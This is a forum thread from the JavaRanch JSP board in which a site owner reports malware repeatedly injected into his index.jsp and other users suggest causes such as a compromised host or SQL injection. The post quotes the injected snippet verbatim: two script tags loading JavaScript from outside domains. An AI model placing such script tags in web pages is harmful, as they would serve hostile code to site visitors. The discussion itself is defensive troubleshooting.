Meaningless Drivel is fun!*
The moose likes JSP and the fly likes Malware inserted into my JSP? Big Moose Saloon
  Search | Java FAQ | Recent Topics | Flagged Topics | Hot Topics | Zero Replies
Register / Login


Win a copy of OCM Java EE 6 Enterprise Architect Exam Guide this week in the OCMJEA forum!
JavaRanch » Java Forums » Java » JSP
Bookmark "Malware inserted into my JSP?" Watch "Malware inserted into my JSP?" New topic
Author

Malware inserted into my JSP?

Luca Carletti
Greenhorn

Joined: Jun 15, 2010
Posts: 12
Hello,

I have publisched a site in a hosty server.

Recently i have discove that in my index.jsp page there is a malware code:

<html><body><script type="text/javascript" src="http://rafalpasko.hekko.pl/minijtools.js"></script><script type="text/javascript" src="http://tasavang.com/jtoolsmini.js"></script></body></html>

I have cleaner the code, but periodically the malware code reappear....

I don't know how that is possible...

anybody know a method to stop that???

Thank you and excuse for my terrible english...
Paul Clapham
Bartender

Joined: Oct 14, 2005
Posts: 18541
    
    8

So somebody is getting connected to the place where your code is hosted and changing your code? You should discuss the security of your code with your hosting company, then.
Luca Carletti
Greenhorn

Joined: Jun 15, 2010
Posts: 12
my hosting company say that depend by sql injection, but i don't know how that can modify my code...
Paul Clapham
Bartender

Joined: Oct 14, 2005
Posts: 18541
    
    8

They could be right, I suppose. Your code could be vulnerable to SQL injection attacks. Or on the other hand, they might be saying that with no knowledge of your code.

However everybody else in the world is in the same position -- you are the only one who knows anything about your code.
Bear Bibeault
Author and ninkuma
Marshal

Joined: Jan 10, 2002
Posts: 61105
    
  66

I don't see how SQL injection can insert text into a JSP on the file system. I assume that these JSP templates are not stored in the database?

Also, please avoid single-word subjects -- I have adjusted yours to something more appropriate as an example.


[Asking smart questions] [Bear's FrontMan] [About Bear] [Books by Bear]
Jimmy Clark
Ranch Hand

Joined: Apr 16, 2008
Posts: 2187
anybody know a method to stop that???


Sure, you either switch to a different hosting company or build your own web server and host web sites yourself.
Luca Carletti
Greenhorn

Joined: Jun 15, 2010
Posts: 12
Thank you for reply,

build my own host web sites is a good idea!!!

can you give me some indication for build my own web server and host web sites???

Can you post me some link taht to explain how to do???




Ulf Dittmer
Marshal

Joined: Mar 22, 2005
Posts: 41631
    
  55
Are you talking about a file that's stored on your host? Or is this about an HTML page that arrives in your browser?

If the former, then you have definitely issues with your hosting provider and should switch, or at least get security straightened out.

If the latter, then it may well be that the code is inserted en route by a network provider - yours, or an upstream one.


Ping & DNS - my free Android networking tools app
Bear Bibeault
Author and ninkuma
Marshal

Joined: Jan 10, 2002
Posts: 61105
    
  66

Luca Carletti wrote:build my own host web sites is a good idea!!!

Actually, it's not. If you have no idea what you are doing, you're site will be even less secure than it is now. The answer is to find a hosting provider that knows what they are doing.
Karim Kiswarday
Ranch Hand

Joined: Oct 01, 2010
Posts: 50

Luca Carletti wrote:my hosting company say that ...


What's your host company name?


No fun at the table, no fun in the sack.
 
I agree. Here's the link: http://aspose.com/file-tools
 
subject: Malware inserted into my JSP?